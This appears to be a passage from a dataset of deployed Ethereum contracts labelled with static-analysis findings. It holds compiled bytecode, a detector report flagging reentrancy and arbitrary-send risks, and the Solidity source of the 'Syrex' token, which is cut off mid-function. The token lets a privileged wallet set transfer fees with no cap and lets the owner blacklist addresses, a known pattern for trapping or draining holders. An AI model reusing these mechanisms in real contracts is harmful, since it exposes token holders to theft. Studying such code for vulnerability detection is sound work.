000008152600401610c5190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60036008819055506007600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206874256cefb344cbaf306f1bf1708406e084451217bd3557a413e5e1be50a77c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,001
0x07e53af0f9ca1604fc839022d8bcaacb0a3e3bd6
/** *Submitted for verification at Etherscan.io on 2021-12-13 */ /** telegram: https://t.me/SyrexOfficial */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Syrex is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0xe4C949f213bE82d151B5a519e64897F9B8e7ac88); address payable private _feeAddrWallet2 = payable(0xe4C949f213bE82d151B5a519e64897F9B8e7ac88); string private constant _name = "Syrex"; string private constant _symbol = "SRX"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 